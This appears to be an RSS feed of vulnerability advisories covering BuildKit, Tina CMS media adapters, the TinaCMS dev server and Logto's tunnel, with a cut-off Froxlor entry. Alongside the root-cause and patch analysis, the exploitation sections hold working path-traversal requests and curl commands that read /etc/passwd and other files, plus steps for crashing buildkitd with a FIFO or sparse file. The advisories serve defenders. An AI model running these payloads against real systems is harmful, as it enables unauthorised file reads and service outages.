<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
    <channel>
        <title><![CDATA[CVEReports]]></title>
        <description><![CDATA[Latest Vulnerability Reports and Deep Dives]]></description>
        <link>https://cvereports.com</link>
        <image>
            <url>https://cvereports.com/icon</url>
            <title>CVEReports</title>
            <link>https://cvereports.com</link>
        </image>
        <generator>CVEReports Feed Generator</generator>
        <lastBuildDate>Thu, 20 Aug 2026 00:16:54 GMT</lastBuildDate>
        <atom:link href="https://cvereports.com/feed.xml" rel="self" type="application/rss+xml"/>
        <pubDate>Thu, 20 Aug 2026 00:16:54 GMT</pubDate>
        <copyright><![CDATA[All rights reserved 2026]]></copyright>
        <language><![CDATA[en]]></language>
        <managingEditor><![CDATA[team@cvereports.com (CVEReports Team)]]></managingEditor>
        <webMaster><![CDATA[team@cvereports.com (CVEReports Team)]]></webMaster>
        <item>
            <title><![CDATA[CVE-2026-61712: Denial of Service via Unbounded Resource Allocation in moby/buildkit]]></title>
            <description><![CDATA[moby/buildkit prior to version 0.31.1 does not enforce size limits or validate file types when reading user and group databases inside build contexts, enabling attackers to crash the buildkitd daemon via memory exhaustion (OOM) or hang execution threads.]]></description>
            <link>https://cvereports.com/reports/CVE-2026-61712</link>
            <guid isPermaLink="false">https://cvereports.com/reports/CVE-2026-61712</guid>
            <category><![CDATA[moby/buildkit]]></category>
            <category><![CDATA[none]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Alon Barad]]></dc:creator>
            <pubDate>Wed, 19 Aug 2026 20:24:01 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/CVE-2026-61712/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview &amp; Architectural Context

BuildKit is the primary backend compilation engine for modern container ecosystems, translating declarative source files (such as Dockerfiles) into Low-Level Builder (LLB) Directed Acyclic Graphs (DAGs). This execution framework operates as a high-performance daemon (`buildkitd`) coordinating with various frontend interfaces. During intermediate compilation stages, BuildKit frequently switches process context ownership or checks system permissions. This requires translating symbolic user and group identifiers defined in instructions like `USER`, `COPY --chown`, or `RUN --mount=type=bind` into numeric execution parameters.

To perform translation without executing full operating system commands inside the target runtime environment, BuildKit parses the target container&apos;s localized database files, specifically `/etc/passwd` and `/etc/group`. These files reside inside the root filesystem (rootfs) configuration path of the target image state. The attack surface exists because these files are inherently user-controlled, extracted from base images that may be obtained from untrusted or public container registries.

The vulnerability is classified under CWE-770 (Allocation of Resources Without Limits or Throttling). It represents a critical architectural gap where unvalidated, external inputs directly dictate the magnitude of resource allocations within the privileged host service environment.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The vulnerability lies within the identity resolution code paths located in `executor/oci/user.go` and `solver/llbsolver/ops/user_linux.go`. When processing instructions requiring user or group translation, the daemon resolves the target file path via `fs.RootPath(root, p)` to guarantee that path resolution remains jailed within the container&apos;s virtual root directory. It then attempts to open the file descriptor using a standard `os.Open` call.

In vulnerable versions, the application immediately reads and processes the entire contents of these files into heap memory. This open-and-read sequence lacked any size constraints or metadata validation. If the target file size is expanded to several gigabytes, the Go runtime allocates dynamic slice buffers to hold the read contents. Because the Go runtime heap allocator increases buffer capacities exponentially when growing slices, memory consumption quickly balloons, triggering the Linux host&apos;s Out-Of-Memory (OOM) killer to terminate the parent `buildkitd` daemon.

In addition to memory exhaustion, the original implementation failed to inspect the file mode mask returned by the file status system call. If an attacker configured `/etc/passwd` or `/etc/group` as a named pipe (FIFO) or a blocking character device, the Go synchronous file read call blocked indefinitely waiting for data. This behavior effectively starves the internal worker pool of active threads, resulting in a thread-leak denial-of-service condition where the build process hangs without recovering.

{/* icon: code */}
{/* type: deep-dive */}
## Source Code Vulnerability and Patch Walkthrough

An analysis of the fix implemented across the vulnerable modules highlights how the boundary enforcement was engineered. The patch introduces a rigid upper boundary (`maxUserFileBytes = 10 &lt;&lt; 20`, or 10 MiB) and adds explicit verification of the file mode using `f.Stat()`.

Below is the technical diff showing the integration of the size constraints and type validation within `executor/oci/user.go`:

```go
// Patched implementation in executor/oci/user.go
const maxUserFileBytes = 10 &lt;&lt; 20

func openUserFile(root, p string) (io.ReadCloser, error) {
    p, err := fs.RootPath(root, p)
    if err != nil {
        return nil, errors.WithStack(err)
    }

    f, err := os.Open(p)
    if err != nil {
        return nil, errors.WithStack(err)
    }

    // Verify file properties prior to allocating parsing buffers
    info, err := f.Stat()
    if err != nil {
        f.Close()
        return nil, errors.WithStack(err)
    }
    if !info.Mode().IsRegular() {
        f.Close()
        return nil, errors.Errorf(&quot;%s is not a regular file&quot;, p)
    }

    // Restrict stream consumer read capacities
    return &amp;limitedReadCloser{
        ReadCloser: f,
        r:          &amp;io.LimitedReader{R: f, N: maxUserFileBytes + 1},
        name:       p,
    }, nil
}
```

The wrapper structure `limitedReadCloser` implements the custom read control. If the underlying `io.LimitedReader` counts down to zero, meaning the file size exceeds the 10 MiB threshold, the routine immediately returns an error, halting further parsing and releasing the associated memory allocations.

```go
type limitedReadCloser struct {
    io.ReadCloser
    r    *io.LimitedReader
    name string
}

func (l *limitedReadCloser) Read(p []byte) (int, error) {
    n, err := l.r.Read(p)
    if l.r.N == 0 {
        return n, errors.Errorf(&quot;%q exceeds %d bytes&quot;, l.name, maxUserFileBytes)
    }
    return n, err
}
```

This defensive design is highly effective. The use of `fs.RootPath` prevents symlink-based container breakouts, and the combination of `IsRegular()` checks and `io.LimitedReader` prevents resource exhaustion.

{/* icon: terminal */}
{/* type: exploit */}
## Attack Methodology and Threat Modeling

To exploit this vulnerability, an attacker must introduce a malformed base image or a malicious local directory context into the BuildKit pipeline. This is typically achieved in environments that allow arbitrary Dockerfile execution, such as multi-tenant CI/CD platforms.

```mermaid
graph LR
  A[&quot;Attacker Image Registry&quot;] -- &quot;1. Pull Base Image&quot; --&gt; B[&quot;BuildKit Daemon (buildkitd)&quot;]
  B -- &quot;2. Process USER / chown Instruction&quot; --&gt; C[&quot;Open /etc/passwd in Rootfs&quot;]
  C -- &quot;3a. File is FIFO / Pipe&quot; --&gt; D[&quot;Indefinite Block / Thread Exhaustion&quot;]
  C -- &quot;3b. File &gt; 10 MiB (Sparse File)&quot; --&gt; E[&quot;Host RAM Exhausted&quot;]
  E --&gt; F[&quot;Linux Kernel OOM Killer Activates&quot;]
  F --&gt; G[&quot;buildkitd Terminated (DoS)&quot;]

  style A fill:#f9f,stroke:#333,stroke-width:2px
  style G fill:#f66,stroke:#333,stroke-width:2px
```

To construct a memory-exhaustion payload, an attacker can create a sparse file of 15 Gigabytes directly within the `/etc/passwd` path of a custom base image. Because sparse files do not consume significant storage when compressed, they can easily be pushed to registries like Docker Hub. When BuildKit attempts to read the file, the uncompressed data expands fully in RAM, crashing the host daemon.

Alternatively, to trigger a thread-exhaustion hang, the attacker can replace the `/etc/passwd` file in their image with a named pipe (FIFO) created via `mkfifo rootfs/etc/passwd`. When BuildKit initiates a build and encounters a `USER` directive, it calls `os.Open` on the named pipe and blocks, consuming system resources until the thread limit is reached.

{/* icon: skull */}
{/* type: deep-dive */}
## Severity and Impact Analysis

The overall impact of CVE-2026-61712 is categorized as Low by the CVSS system (Base Score 2.3), reflecting specific limitations on attack vector requirements. Specifically, the vulnerability requires user interaction because an operator or pipeline runner must initiate a container build using the malicious Dockerfile or base image.

However, in enterprise environments, the operational impact of a BuildKit crash can be severe. In shared or multi-tenant CI/CD platforms (such as Kubernetes-based runners using Tekton, Argo Workflows, or GitLab CI), a single malicious build step can terminate the shared `buildkitd` instance. This termination immediately disrupts all other parallel builds running on the same host, resulting in pipeline failures and cache corruption.

Since no unauthorized file write or data access occurs, Confidentiality and Integrity are unaffected. The primary impact is localized availability degradation, which can be mitigated if automatic process managers (like systemd) restart the daemon immediately, though concurrent active builds must still be rescheduled and restarted from scratch.

{/* icon: shield */}
{/* type: mitigation */}
## Patching and Operational Remediation

The permanent fix for this vulnerability is to upgrade BuildKit to version **0.31.1** or later. If immediate upgrades are not feasible, administrators can apply several configuration mitigations to reduce the risk of exploitation:

* **Implement Daemon Memory Cgroups**: Run the `buildkitd` process under systemd slice configurations or cgroup directives that enforce physical memory limitations (e.g., `MemoryMax=4G`). This isolates memory exhaustion crashes and prevents host-level instability.
* **Enable Automated Process Supervision**: Configure systemd or your container orchestrator to restart BuildKit automatically on failure, minimizing the duration of a denial-of-service event:
  ```ini
  [Service]
  Restart=always
  RestartSec=5s
  ```
* **Enforce Rootless BuildKit Execution**: Running `buildkitd` in rootless mode limits its access to host resources and adds layer of isolation between the build runner and the host operating system.</content:encoded>
            <dc:creator>Alon Barad</dc:creator>
        </item>
        <item>
            <title><![CDATA[CVE-2026-59992: Broken Access Control and Path Traversal in Tina CMS Production Media Adapters]]></title>
            <description><![CDATA[A broken access control flaw in Tina CMS media adapters allows authenticated editors to bypass directory containment and write or delete files globally across the connected cloud storage container using path traversal.]]></description>
            <link>https://cvereports.com/reports/CVE-2026-59992</link>
            <guid isPermaLink="false">https://cvereports.com/reports/CVE-2026-59992</guid>
            <category><![CDATA[Tina CMS]]></category>
            <category><![CDATA[next-tinacms-s3]]></category>
            <category><![CDATA[next-tinacms-dos]]></category>
            <category><![CDATA[next-tinacms-azure]]></category>
            <category><![CDATA[next-tinacms-cloudinary]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Amit Schendel]]></dc:creator>
            <pubDate>Wed, 19 Aug 2026 21:56:30 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/CVE-2026-59992/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

CVE-2026-59992 represents a significant authorization bypass vulnerability in Tina CMS, specifically affecting its official production media adapters. These adapters include `next-tinacms-s3`, `next-tinacms-dos`, `next-tinacms-azure`, and `next-tinacms-cloudinary`. The role of these adapters is to bridge the CMS content editing interface with cloud-based asset storage solutions, enabling direct upload, deletion, and organization of media files.\n\nThe vulnerability is classified under CWE-639 (Authorization Bypass Through User-Controlled Key) and CWE-862 (Missing Authorization). While administrators can set a `mediaRoot` configuration to restrict editors to a logical directory within the cloud storage, this restriction was only validated during directory listings. Write and delete operations failed to enforce any directory containment boundaries, exposing a logical security bypass.\n\nAn authenticated CMS editor with otherwise restricted directory privileges can exploit this lack of sanitization to perform read, write, or delete actions across any object within the underlying cloud storage bucket or container. The impact is determined by the permissions assigned to the backend IAM user or storage client credential, allowing actions to occur outside the administrative boundaries defined by the CMS configuration.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The root cause of CVE-2026-59992 lies in the asymmetrical implementation of path boundary enforcement across the Tina CMS media adapters. The configuration option `mediaRoot` is designed to define a hard boundary for media operations, creating an isolated namespace for standard editors. During directory listing operations (`listMedia`), the adapters correctly restricted visibility to the specified prefix, leading administrators to believe that containment was strictly enforced.\n\nHowever, the API endpoints responsible for mutations—specifically file creation, presigned URL generation, and deletion—accepted arbitrary, user-supplied key and directory parameters from incoming HTTP requests without verification. The backend passed these parameters directly to the underlying SDKs, such as the AWS SDK for S3 or the Azure Storage SDK, bypassing directory limits.\n\nBecause the adapters did not validate that the target file path started with the configured `mediaRoot` prefix, they allowed directory traversal sequences (such as `../`) or absolute path specifications. This failure to sanitize incoming paths allowed authenticated users to access and manipulate any key within the entire cloud bucket or container, effectively escalating their capabilities to the permission levels of the server&apos;s cloud credentials.

{/* icon: code */}
{/* type: deep-dive */}
## Code-Level Analysis

A review of the vulnerable codebase in the S3 media handler reveals how client-supplied values were handled. In `packages/next-tinacms-s3/src/handlers.ts`, the upload routine retrieved the object key directly from `req.query.key`. It then passed this unvalidated key to the S3 client to generate a presigned upload URL, enabling unchecked writes.\n\n```typescript\n// Vulnerable write path in next-tinacms-s3\nconst s3_key = req.query.key\n  ? Array.isArray(req.query.key)\n    ? req.query.key[0]\n    : req.query.key\n  : null;\n// This key was passed straight to the S3 PutObject request generator\n```\n\nThe corresponding patch introduced a unified validation layer using a helper utility named `media-key.ts`. This helper implements the `resolveKey` function, which normalizes the input path and verifies that the resulting string is prefixed by the configured `mediaRoot` directory boundary.\n\n```typescript\n// Patched write path enforcing mediaRoot containment\nlet s3_key: string;\ntry {\n  // Enforce boundary verification using the centralized helper\n  s3_key = resolveKey(mediaRoot, rawKey, { decode: false });\n} catch (e) {\n  if (e instanceof MediaKeyError) {\n    return res.status(400).json({ message: e.message });\n  }\n  throw e;\n}\n```\n\nThe helper utility `resolveKey` mitigates path traversal by checking for NUL bytes, validating Windows and Unix path separators, and verifying that the final path starts with the designated `mediaRoot`. It throws a `MediaKeyError` if any portion of the path resolves to a location outside the containment boundary.

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation Methodology

Exploitation of CVE-2026-59992 requires an attacker to possess valid credentials for a Tina CMS editor account. Since the vulnerability is located within the authenticated API handlers, unauthenticated attackers cannot exploit this weakness directly. However, any standard editor role with access to the media library interface is sufficient to trigger the flaw.\n\nTo perform an unauthorized write operation on an AWS S3 backend, the attacker intercepts or constructs an API request directed at the S3 media endpoint (commonly `/api/s3/media`). By providing a path traversal payload such as `../` in the `key` parameter, the attacker forces the backend to generate a presigned `PutObject` URL for a target outside of their authorized directory.\n\n```http\nGET /api/s3/media?key=../critical-assets/index.html HTTP/1.1\nHost: target-cms-domain.com\nAuthorization: Bearer &lt;authenticated_editor_jwt&gt;\n```\n\nThe server returns a signed Amazon S3 URL, which the attacker then uses to write directly to the target storage location. Deletion attacks proceed similarly, where the attacker issues a `DELETE` request containing traversal sequences in the `media` parameter to trigger S3&apos;s `DeleteObjectCommand` on files belonging to other tenants or systems.

{/* icon: skull */}
{/* type: deep-dive */}
## Impact Assessment

The security impact of CVE-2026-59992 is significant for multi-tenant deployments or configurations where the underlying storage bucket is shared with other applications. While the vulnerability has a CVSS v3.1 score of 5.4, the actual impact in production environments depends heavily on the level of permissions granted to the storage credentials used by the CMS server.\n\nIf the server&apos;s IAM role or API keys possess write and delete permissions across the entire storage bucket (which is a common deployment practice), an attacker can overwrite, modify, or delete critical application assets, database backups, configuration files, or other tenant data stored in the same bucket. This can lead to persistent denial of service, data loss, or secondary client-side attacks like stored cross-site scripting (XSS) if the attacker overwrites served static files.\n\nThe vulnerability does not directly expose read operations on arbitrary keys through the media handlers, restricting the immediate impact to integrity (unauthorized file creation/modification) and availability (unauthorized deletion). However, the ability to generate long-lived presigned URLs (up to seven days via the unchecked `expiresIn` parameter) provides attackers with persistent offline write access.

{/* icon: shield */}
{/* type: mitigation */}
## Remediation and Detection Guidance

To remediate CVE-2026-59992, administrators must upgrade the affected Tina CMS media adapter packages to version 23.0.4 or higher (or version 14.0.4/26.0.4 depending on the specific adapter used). These updates introduce the `resolveKey` verification function, ensuring that all client-requested operations are strictly confined within the configured `mediaRoot` directory.\n\nIn addition to upgrading, organizations should implement defense-in-depth measures by configuring the cloud IAM policies to enforce the same directory restrictions at the storage layer. For example, AWS IAM policies should restrict the server&apos;s credentials to the specific `mediaRoot` prefix using policy conditions or resource limits, rather than granting blanket write and delete permissions to the entire bucket.\n\nDetection of exploitation attempts can be achieved by analyzing web server access logs for anomalous directory traversal characters (such as `%2e%2e%2f` or `..`) in the query strings of the media endpoints. Cloud-level audit logs, such as AWS CloudTrail or S3 Server Access Logs, should also be monitored for write and delete events that occur outside the designated media directories, especially those initiated by the CMS server&apos;s credentials.</content:encoded>
            <dc:creator>Amit Schendel</dc:creator>
        </item>
        <item>
            <title><![CDATA[CVE-2026-63123: Cross-Site Request Forgery leading to Cross-Origin Arbitrary File Write in @tinacms/cli]]></title>
            <description><![CDATA[A validation failure in the local TinaCMS dev server allowed external websites to perform arbitrary file writes inside the developer's project folder via cross-origin multipart form uploads.]]></description>
            <link>https://cvereports.com/reports/CVE-2026-63123</link>
            <guid isPermaLink="false">https://cvereports.com/reports/CVE-2026-63123</guid>
            <category><![CDATA[@tinacms/cli local development environments running prior to version 2.5.2]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Amit Schendel]]></dc:creator>
            <pubDate>Wed, 19 Aug 2026 21:56:36 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/CVE-2026-63123/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

The `@tinacms/cli` package includes a local development server intended to run during project editing phases. This development server typically binds to local ports such as `http://localhost:4001` to process API operations. To support development workflows, the server exposes state-changing endpoints like `/media/upload` for managing asset uploads, as well as GraphQL and search index endpoints.

While the server utilized standard Cross-Origin Resource Sharing (CORS) configurations, it relied on these mechanisms as an access control boundary. This design choice overlooked the functional limits of browser CORS policies, which govern read restrictions rather than write blocks. Consequently, the local server was exposed to cross-origin requests dispatched by external pages opened in the developer&apos;s browser, bypassing standard CORS origin protections.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The fundamental flaw in `@tinacms/cli` is the conceptual misuse of CORS middleware for server-side request filtering. The server leveraged the npm `cors` package to evaluate the `Origin` header. However, CORS standard behaviors indicate that the `Access-Control-Allow-Origin` headers only restrict the calling web application&apos;s ability to read responses; they do not prevent browsers from executing requests.

Under standard browser semantics, a `POST` request using `multipart/form-data` is categorized as a &quot;simple request.&quot; As a result, the browser skips sending a preflight `OPTIONS` request and directly transmits the `POST` payload to the target local server. Although the browser eventually blocks the malicious page from reading the response due to the lack of appropriate CORS headers, the server-side state-changing code—such as the file write routine inside `mediaRouter.handlePost`—executes to completion. This leaves the developer vulnerable to silent file injection.

{/* icon: code */}
{/* type: deep-dive */}
## Code Analysis

In vulnerable versions, the route plugins for the Vite dev server processed inbound requests regardless of origin validation results. The `cors` check only appended headers but never aborted processing. The fix introduces a structured `isOriginAllowed` logic step that performs active server-side gating.

```typescript
// Server-Side Origin Guarding Implementation
export function isOriginAllowed(
  origin: string | undefined,
  allowedOrigins: (string | RegExp)[] = []
): boolean {
  // Allow requests with no Origin header (curl, same-origin, etc.)
  if (!origin) {
    return true;
  }
  if (LOCALHOST_RE.test(origin)) {
    return true;
  }
  for (const allowed of expandOrigins(allowedOrigins)) {
    if (typeof allowed === &apos;string&apos;) {
      if (allowed === origin) {
        return true;
      }
    } else {
      allowed.lastIndex = 0;
      if (allowed.test(origin)) {
        return true;
      }
    }
  }
  return false;
}
```

The routes now actively evaluate each transaction using `isStateChangingRequest()` and reject unauthorized requests immediately:

```typescript
// Gating inside plugins.ts
const isStateChangingRequest = (req: { url?: string; method?: string }) =&gt; {
  const url = req.url || &apos;&apos;;
  if (url.startsWith(&apos;/media/upload&apos;)) return true;
  if (url.startsWith(&apos;/media&apos;) &amp;&amp; req.method === &apos;DELETE&apos;) return true;
  if (url.startsWith(&apos;/graphql&apos;) &amp;&amp; req.method === &apos;POST&apos;) return true;
  if (
    (url.startsWith(&apos;/searchIndex&apos;) || url.startsWith(&apos;/v2/searchIndex&apos;)) &amp;&amp;
    (req.method === &apos;POST&apos; || req.method === &apos;DELETE&apos;)
  ) 
    return true;
  return false;
};

// Gating check prior to parsing execution
if (
  isStateChangingRequest(req) &amp;&amp;
  !isOriginAllowed(req.headers.origin, allowedOrigins)
) {
  res.statusCode = 403;
  res.end(JSON.stringify({ error: &apos;Origin not allowed&apos; }));
  return;
}
```

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation Analysis

To exploit this vulnerability, an attacker must trick a developer who has an active local `tinacms dev` instance running into visiting a malicious site. The malicious site hosts JavaScript that initiates a background HTTP `POST` request targeting `http://localhost:4001/media/upload/payload.js`.

The payload uses standard web APIs to generate a `multipart/form-data` payload containing arbitrary code. Because the browser classifies this as a simple request, the browser submits the multipart payload directly to the localhost server. The server, lacking origin checks, executes the write handler and drops the arbitrary file into the local workspace directory.

{/* icon: lock */}
{/* type: deep-dive */}
## Impact Assessment

The concrete security impact is high-severity local file manipulation. Since the development server can write arbitrary files to the media root or local folders, an attacker can overwrite crucial configuration parameters, template structures, or executable scripts in modern build configurations.

Depending on the specific file system layout and build pipeline configurations, a malicious file write could achieve local remote code execution (RCE) on the developer&apos;s machine when compilation or local server execution cycles read the modified or written configuration files.

{/* icon: shield */}
{/* type: mitigation */}
## Remediation &amp; Mitigation

The primary remediation strategy is upgrading the `@tinacms/cli` dependencies to a secure version. Upgrade the package to version `2.5.2` or later to ensure the server-side origin validations are active.

As a secondary security measure, developers should ensure that local dev servers are bound strictly to local loopback interfaces (e.g., `127.0.0.1` or `[::1]`) rather than public or shared network interfaces.</content:encoded>
            <dc:creator>Amit Schendel</dc:creator>
        </item>
        <item>
            <title><![CDATA[CVE-2026-63188: Unauthenticated Directory Traversal in @logto/tunnel]]></title>
            <description><![CDATA[Unauthenticated remote directory traversal in @logto/tunnel < 0.3.9 allows arbitrary file read via crafted GET requests when custom experience hosting is enabled.]]></description>
            <link>https://cvereports.com/reports/CVE-2026-63188</link>
            <guid isPermaLink="false">https://cvereports.com/reports/CVE-2026-63188</guid>
            <category><![CDATA[@logto/tunnel < 0.3.9]]></category>
            <category><![CDATA[Logto deployments containing @logto/tunnel packages < 0.3.9]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Alon Barad]]></dc:creator>
            <pubDate>Wed, 19 Aug 2026 20:24:06 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/CVE-2026-63188/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

Logto serves as an open-source identity and access management system designed for modern multi-tenant environments. To facilitate custom sign-in flows, Logto contains a tunnel utility (@logto/tunnel) that allows developers to run a local static asset server for testing personalized web assets. When initialized, this tunnel exposes an interface through which clients can request custom HTML pages, stylesheets, and JavaScript files directly from a designated local workspace.

The exposure is located inside the static file proxy implementation within the @logto/tunnel package. When processing static asset requests, the tunnel service accepts the request path from the incoming HTTP transaction. Because this proxy function failed to isolate requests within the specified root directory, it opened an unauthenticated attack surface.

An attacker who can reach this proxy port can supply directory traversal sequences in the requested path. This enables the retrieval of sensitive filesystem objects. The vulnerability is cataloged as CVE-2026-63188 and carries a High severity CVSS v4.0 base score of 8.7.

```mermaid
graph LR
  A[&quot;Attacker Client&quot;] -- &quot;GET /../../../../etc/passwd HTTP/1.1&quot; --&gt; B[&quot;Local Tunnel Server Port 3000/tcp&quot;]
  B -- &quot;path.join(&apos;/static&apos;, &apos;/../../../../etc/passwd&apos;)&quot; --&gt; C[&quot;Resolved Absolute Path: /etc/passwd&quot;]
  C -- &quot;fs.open and fs.readFile&quot; --&gt; D[&quot;System Kernel Sensitive Data Exfiltration&quot;]
```

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The root cause of CVE-2026-63188 lies in the programmatic construction of filesystems paths using raw, unvalidated HTTP request paths. In vulnerable versions of @logto/tunnel prior to 0.3.9, the local server implemented static asset serving by resolving paths directly via Node.js native path modules. Specifically, the request route logic used request.url to match files within the directory provided by the --experience-path argument.

When an HTTP client executes a request, the request.url property contains the path portion of the request URL. In a secure static server implementation, this input must be treated as untrusted and normalized, percent-decoded, and validated to ensure it cannot escape the static root. However, the vulnerable logic directly supplied request.url to path.join.

The path.join utility in Node.js joins all given path segments together and normalizes the resulting path. If the joint path contains relative directory traversal characters such as ../, the utility evaluates these segments lexically. If the input contains a series of traversal segments that exceed the depth of the static root directory, the resolved path ascends beyond the root and references parent directories on the host operating system.

Once the lexical normalization completes, the application utilizes the resulting path string directly in an asynchronous filesystem opening function. Because the application executes no logical validation checking whether the resolved canonical target resides within the boundaries of the defined static directory, the operating system kernel fulfills the request. This exposes any file readable by the process owner.

{/* icon: code */}
{/* type: deep-dive */}
## Code-Level Vulnerability and Fix Analysis

To understand the mechanics of the patch, it is necessary to examine the vulnerable code path inside packages/tunnel/src/commands/tunnel/utils.ts. The vulnerable version processed requests through an unconstrained resolution sequence:

```typescript
// VULNERABLE CODE PATH
if (request.method === &apos;HEAD&apos; || request.method === &apos;GET&apos;) {
  const fallBackToIndex = !isFileAssetPath(request.url);
  // Vulnerability: No sanitization of request.url before joining with staticPath
  const requestPath = path.join(staticPath, fallBackToIndex ? index : request.url);
  const { range = &apos;&apos; } = request.headers;

  const readFile = async (requestPath: string, start?: number, end?: number) =&gt; {
    // Arbitrary file resolution and read
    const fileHandle = await fs.open(requestPath, &apos;r&apos;);
    // ... read and return file data
  };
}
```

The security remediation introduces the getSafeStaticFilePath helper in commit 5686815955534f803d3d50738259efd0f741e62c to enforce strict logical boundaries. Below is the updated, secure implementation:

```typescript
// PATCHED CODE PATH
export const getSafeStaticFilePath = (staticPath: string, requestUrl: string) =&gt; {
  // Step 1: Isolate the pathname from query and fragment identifiers
  const [pathname = &apos;&apos;] = requestUrl.split(/[#?]/);
  
  // Step 2: Safely percent-decode the pathname to handle obfuscated payloads
  const decodedPathname = trySafe(() =&gt; decodeURIComponent(pathname));

  // Step 3: Block Windows backslash sequences to prevent bypasses on Windows nodes
  if (!decodedPathname || decodedPathname.includes(&apos;\\&apos;)) {
    return;
  }

  // Step 4: Resolve the configured static path into an absolute canonical path
  const staticRoot = path.resolve(staticPath);
  
  // Step 5: Clean leading slashes from the request path to ensure relative mapping
  const requestPath = decodedPathname.replace(/^\/+/, &apos;&apos;);
  
  // Step 6: Generate the final target resolution
  const resolvedPath = path.resolve(staticRoot, requestPath);
  
  // Step 7: Evaluate the relative position of the resolved file versus the root
  const relativePath = path.relative(staticRoot, resolvedPath);

  // Step 8: Strict guard - verify if target resolves outside the static boundaries
  if (relativePath.startsWith(&apos;..&apos;) || path.isAbsolute(relativePath)) {
    return;
  }

  return resolvedPath;
};
```

The introduced fix is robust. By processing path.relative(staticRoot, resolvedPath), the application explicitly measures the logical distance between the authorized root and the resolved target. If the output of path.relative begins with .., it mathematically proves that the targeted resource requires traveling upward from the static root. The inclusion of decodeURIComponent ensures that URL-encoded bypasses such as %2e%2e are decoded prior to calculation, preventing path traversal evasion.

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation Methodology

Exploitation of CVE-2026-63188 is direct and does not require complex orchestration or prior authentication. An attacker must first establish network connectivity to the port exposed by the @logto/tunnel instance. Typically, this service is spawned when developers test localized customization flows, but if bound to wildcards (0.0.0.0), the port becomes accessible on local area networks or public addresses.

Once connectivity is confirmed, the attacker constructs HTTP GET requests containing directory traversal sequences. When using common utilities like curl, standard client-side path normalization will automatically resolve traversal sequences before transmission. Therefore, the attacker must supply the --path-as-is command-line flag or execute the request via raw socket streams.

```bash
# Standard exploitation targeting POSIX system files
curl --path-as-is http://target-host:3000/../../../../../../etc/passwd
```

```bash
# Evasion attempt targeting Node.js execution on a Windows host
curl --path-as-is http://target-host:3000/..\\..\\..\\..\\Windows\\win.ini
```

```bash
# Targeted extraction of local application dependencies and configuration structures
curl --path-as-is http://target-host:3000/../package.json
```

Upon receiving these payloads, the server processes the traversal input. Since the server lacks validating checks, it attempts to open the corresponding OS path. The server then responds with an HTTP status code 200 and the content of the targeted system file in the response body.

{/* icon: lock */}
{/* type: deep-dive */}
## Impact Assessment

The impact of this path traversal vulnerability is significant. While @logto/tunnel is primarily positioned as a development utility, developers often execute these services within cloud containers, staging instances, or local production systems. If the service is running with high OS-level privileges (such as root or Administrator), the entire filesystem becomes accessible to unauthenticated remote attackers.

Through arbitrary file read capabilities, attackers can exfiltrate sensitive files, including system secrets, configuration maps, environment variables containing API keys, database credentials, and SSH private keys. In modern microservice and cloud architectures, the leak of a single configuration file or environment block can allow an attacker to pivot and compromise entire cloud networks.

Additionally, reading application source code or operational metadata permits attackers to map out vulnerabilities inside surrounding software components. Since no write access is granted directly via this directory traversal, the impact is confined to high confidentiality loss (VC:H), while integrity (VI:N) and availability (VA:N) remain unaffected.

{/* icon: shield */}
{/* type: mitigation */}
## Detection and Remediation

The primary and recommended mitigation for CVE-2026-63188 is upgrading @logto/tunnel to version 0.3.9 or higher. This upgrade ensures that the getSafeStaticFilePath helper actively validates and rejects traversal patterns before files are accessed. If immediate updates are not feasible, several defensive controls can be implemented to minimize risk.

First, modify the launch parameters of the tunnel utility to bind specifically to the loopback interface (127.0.0.1 or ::1) instead of the wildcard address. This limits exploitation capabilities to local processes on the host. Network access control lists or host-based firewall configurations must be configured to drop any inbound external packets directed at the tunnel ports.

For network detection, network intrusion detection systems (NIDS) can monitor traffic for suspicious traversal requests. Security engineers can also deploy Web Application Firewalls (WAF) to inspect incoming request paths and block requests containing relative path segments. Finally, running host-based file monitoring tools can help identify unauthorized reads to critical directories such as /etc or directory structural locations outside of web workspaces.</content:encoded>
            <dc:creator>Alon Barad</dc:creator>
        </item>
        <item>
            <title><![CDATA[CVE-2026-54347: Stored Cross-Site Scripting in Froxlor DNS TXT Record Configuration]]></title>
            <description><![CDATA[Authenticated customers with DNS editing access can store malicious JavaScript in DNS TXT records, leading to arbitrary code execution in the browser of any administrator who views the domain's configuration.]]></description>
            <link>https://cvereports.com/reports/CVE-2026-54347</link>
            <guid isPermaLink="false">https://cvereports.com/reports/CVE-2026-54347</guid>
            <category><![CDATA[Froxlor Server Administration Panel]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
